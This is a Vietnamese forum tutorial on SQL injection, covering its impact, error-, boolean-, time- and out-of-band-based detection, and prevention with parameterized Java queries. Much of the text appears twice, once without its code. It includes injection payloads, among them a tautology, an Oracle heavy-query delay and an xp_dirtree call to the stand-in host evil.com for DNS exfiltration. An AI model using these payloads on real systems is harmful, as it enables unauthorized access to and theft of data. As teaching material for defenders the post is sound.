Hôm nay chúng ta sẽ bàn về SQL Injection. Đây là một trong những lỗ hổng thường gặp và được biết đến nhất trong các lỗ hổng về Web. Trước 2021. SQL Injection nằm trong nhóm lỗi A01: Injection của OWASP Top 10 và trong phiên bản OWASP Top 10 2021 nhóm lỗi Injection được chuyển xuống thành A03. Chúng ta sẽ đi qua một số kiến thức cơ bản về SQL Injection như SQL Injection là gì ? Ảnh hưởng? Cách thức phát hiện? Cách khắc phục.
Trong một số trường hợp, kẻ tấn công có thể leo thang một cuộc tấn công SQL injection để chiếm đoạt máy chủ hoặc các cơ sở hạ tầng phụ trợ khác. Nó cũng có thể cho phép họ thực hiện các cuộc tấn công từ chối dịch vụ.
Ví dụ:
Trong một ứng dụng web xem bài viết có đường dẫn như sau https://abc.com/news?id=1, thì câu truy vấn đến cơ sở dữ liệu SQL có thể sẽ có format như sau:
Lập trình viên có thể sẽ sinh ra câu này bằng cách ghép chuỗi với dữ liệu lấy được từ tham số id trên đường dẫn, ta có thể hình dung câu truy vấn sẽ như sau:
Trong trường hợp này nếu ta thay đổi tham số id thành chuỗi có tồn tại dấu ', ta sẽ escape ra khỏi câu truy vấn ban đầu và làm thay đổi cấu trúc câu truy vấn:
- Gây ra lỗi (Error-Based) : Với phương pháp này ta sẽ nhập vào ký tự đặc biệt (thường là dấu nháy đơn ', trong một số trường hợp là dấu nháy đôi " hoặc dấu ` ) đối với câu truy vấn SQL vào tham số nhằm mục đích gây ra lỗi ở phía SQL Server:
Ví dụ: Đoạn payload thường dùng để cân bằng câu SQL là
- Câu điều kiện boolean (Boolean-based): Phương pháp này thường sử dụng khi ứng dụng không trả về mã lỗi, lập trình viên có thể cấu hình overwrite toàn bộ các mã 500 và trả về mã 200 hoặc dùng try catch để xử lý các lỗi khi thực thi. Ta sẽ phân tích sự khác nhau của dữ liệu trả về giữa điều kiện đúng và điều kiện sai và đưa ra kết luận.
- Out-of-Band (OAST): Phương pháp này sử dụng các lệnh để trigger các tương tác mạng out-of-band (thường là đến máy chủ ta đang kiểm soát), và theo dõi tương tác (với máy chủ). Ngoài ra, dữ liệu có thể được rút trích trực tiếp thông qua các tương tác mạng.
Để rút trích dữ liệu theo cách này, có thể sử dụng nhiều giao thức mạng khác nhau, nhưng thông thường, DNS (dịch vụ phân giải tên miền) là hiệu quả nhất. Lý do là vì nhiều hệ thống mạng cho phép các truy vấn DNS ra ngoài một cách tự do, do đây là giao thức thiết yếu cho hoạt động bình thường của các hệ thống đó.
Ví dụ: Đoạn payload trigger câu truy vấn DNS đến tên miền evil.com
* Lưu ý: Hầu hết các lỗ hổng SQL Injection xảy ra trong mệnh đề WHERE của một truy vấn SELECT.
Tuy nhiên, các lỗ hổng SQL Injection có thể xuất hiện ở bất kỳ vị trí nào trong truy vấn và trong các loại truy vấn khác nhau. Một số vị trí phổ biến khác nơi SQL Injection phát sinh là:
Ví dụ: Đoạn mã sau đây là đoạn mã dễ bị tấn công
Bạn có thể viết lại đoạn mã này theo cách ngăn chặn dữ liệu nhập của người dùng can thiệp vào cấu trúc của truy vấn:
Bài viết đến đây cùng đã hơi dài. Trong bài tiếp theo SQL Injection Cơ bản mình sẽ demo một số kỹ thuật phát hiện và khai thác lỗ hổng SQL injection.
1. SQL Injection là gì?
SQL injection (SQLi) là một lỗ hổng bảo mật web cho phép kẻ tấn công can thiệp vào các truy vấn mà một ứng dụng thực hiện với cơ sở dữ liệu của nó. Điều này có thể cho phép kẻ tấn công xem dữ liệu mà họ không thể truy cập bình thường. Dữ liệu này có thể bao gồm dữ liệu thuộc về người dùng khác hoặc bất kỳ dữ liệu nào khác mà ứng dụng có thể truy cập. Trong nhiều trường hợp, kẻ tấn công có thể sửa đổi hoặc xóa dữ liệu này, gây ra những thay đổi dai dẳng đối với nội dung hoặc hành vi của ứng dụng.Trong một số trường hợp, kẻ tấn công có thể leo thang một cuộc tấn công SQL injection để chiếm đoạt máy chủ hoặc các cơ sở hạ tầng phụ trợ khác. Nó cũng có thể cho phép họ thực hiện các cuộc tấn công từ chối dịch vụ.

Ví dụ:
Trong một ứng dụng web xem bài viết có đường dẫn như sau https://abc.com/news?id=1, thì câu truy vấn đến cơ sở dữ liệu SQL có thể sẽ có format như sau:
SQL:
SELECT * FROM news WHERE id = '1'
SQL:
SELECT * FROM news WHERE id='[INJECTION_POINT]'
SQL:
SELECT * FROM news WHERE id=''' //Câu truy vấn này sẽ gây ra lỗi SQL syntax vì tồn tại một dấu ' cuối cùng không được đóng lại.
SELECT * FROM news WHERE id=''OR'1'='1' //Câu truy vấn này sẽ trả ra toàn bộ bảng news vì được kèm thêm điều kiện OR '1'='1' là điều kiện luôn luôn đúng
2. Ảnh hưởng
Một cuộc tấn công SQL injection thành công có thể dẫn đến việc truy cập trái phép vào các dữ liệu nhạy cảm, chẳng hạn như:- Mật khẩu
- Thông tin thẻ tín dụng
- Thông tin cá nhân của người dùng
3. Cách phát hiện các lỗ hổng SQL injection
Ta có thể phát hiện SQL injection theo cách thủ công bằng cách sử dụng một bộ kiểm tra có hệ thống đối với mọi điểm đầu vào (entry point) trong ứng dụng. Để làm điều này, ta có thể sử dụng những phương pháp như sau:- Gây ra lỗi (Error-Based) : Với phương pháp này ta sẽ nhập vào ký tự đặc biệt (thường là dấu nháy đơn ', trong một số trường hợp là dấu nháy đôi " hoặc dấu ` ) đối với câu truy vấn SQL vào tham số nhằm mục đích gây ra lỗi ở phía SQL Server:
- Với trường hợp ứng dụng trả về thông báo lỗi có chứa stack trace, ta có thể tìm kiếm những từ như SQL Syntax Error, Unclosed quotation mark ...
- Với trường hợp ứng dụng trả về thông báo lỗi tuy nhiên là thông báo đã được tùy chỉnh, không chứa nhiều thông tin ta có thể thử cân bằng lại câu truy vấn để loại bỏ đoạn quotation chưa được đóng, nếu thành công ta có thể kết luận đây là lỗi SQL injection. Lưu ý trong một số ngôn ngữ "strong type" như C#, Java... khi ta thêm dấu ' vào tham số và server trả về lỗi thì có khả năng là máy chủ không chuyển đổi được kiểu dữ liệu chứ không phải là lỗi SQL injection, ta cần kiểm tra lại bằng cách cân bằng câu SQL.
Ví dụ: Đoạn payload thường dùng để cân bằng câu SQL là
'--
với phần --
(* lưu ý có dấu cách ở cuối) là để comment lại đoạn câu SQL ở đằng sau dấu comment
SQL:
SELECT * FROM news WHERE id=''-- ' //Dấu ' ở cuối đằng sau đã bị comment khỏi câu truy vấn
- Thông thường ta có thể dựa theo số byte trả về (Điều kiện đúng và điều kiện sai trả về kết quả có tổng số byte khác nhau) (* Lưu ý ta cần replay lại 2, 3 lần đối với 1 điều kiện để xác nhận số byte trả về giữ nguyên và ứng dụng không chèn các thành phần random vào trong dữ liệu trả về)
- Với trường hợp ứng dụng chèn thêm các thành phần random trong dữ liệu trả về, ta có thể xem trang trực tiếp trên web để xác nhận sự khác nhau giữa điều kiện đúng và điệu kiện sai.
- Cần lưu ý replay lại nhiều lần với thời gian delay tăng dần để xác nhận lỗi, vì thời gian trả về của ứng dụng có thể bị ảnh hưởng bởi nhiều yếu tố như đường truyền mạng, băng thông, số lượng người truy cập trong cùng thời điểm ...
- Một số cơ sở dữ liệu như Oracle phiên bản cũ không có phương thức để delay time (* với Oracle từ phiên bản 18c đã có phương thức delay time là DBMS_LOCK.SLEEP và sau này là DBMS_SESSION.SLEEP) ta có thể thay thế bằng câu truy vấn phức tạp join những bảng lớn lặp lại nhiều lần để tạo ra time delay gọi là Heavy Query, tăng dần số lượng bảng và quan sát thời gian bị delay.
SQL:
' AND 1=CASE WHEN (1=1) THEN (SELECT 1 FROM DUAL T1, DUAL T2, DUAL T3, DUAL T4, DUAL T5, DUAL T6, DUAL T7, DUAL T8, DUAL T9, DUAL T10) ELSE 0 END--
Để rút trích dữ liệu theo cách này, có thể sử dụng nhiều giao thức mạng khác nhau, nhưng thông thường, DNS (dịch vụ phân giải tên miền) là hiệu quả nhất. Lý do là vì nhiều hệ thống mạng cho phép các truy vấn DNS ra ngoài một cách tự do, do đây là giao thức thiết yếu cho hoạt động bình thường của các hệ thống đó.
Ví dụ: Đoạn payload trigger câu truy vấn DNS đến tên miền evil.com
SQL:
'; exec master..xp_dirtree '//evil.com/a'--
* Lưu ý: Hầu hết các lỗ hổng SQL Injection xảy ra trong mệnh đề WHERE của một truy vấn SELECT.
Tuy nhiên, các lỗ hổng SQL Injection có thể xuất hiện ở bất kỳ vị trí nào trong truy vấn và trong các loại truy vấn khác nhau. Một số vị trí phổ biến khác nơi SQL Injection phát sinh là:
- Trong các câu lệnh UPDATE, nằm trong các giá trị được cập nhật hoặc trong mệnh đề WHERE.
- Trong các câu lệnh INSERT, nằm trong các giá trị được chèn vào.
- Trong các câu lệnh SELECT, nằm trong tên bảng hoặc tên cột.
- Trong các câu lệnh SELECT, nằm trong mệnh đề ORDER BY.
4. Cách phòng chống lỗ hổng SQL Injection
Ta có thể ngăn chặn hầu hết các trường hợp tấn công SQL Injection bằng cách sử dụng truy vấn tham số hóa (parameterized queries) thay vì nối chuỗi trực tiếp vào câu truy vấn. Các truy vấn tham số hóa này còn được gọi là "prepared statements".Ví dụ: Đoạn mã sau đây là đoạn mã dễ bị tấn công
Java:
String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
Java:
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
Bài viết đến đây cùng đã hơi dài. Trong bài tiếp theo SQL Injection Cơ bản mình sẽ demo một số kỹ thuật phát hiện và khai thác lỗ hổng SQL injection.
Sửa lần cuối bởi điều hành viên:
Bài viết liên quan
Được quan tâm
Bài viết mới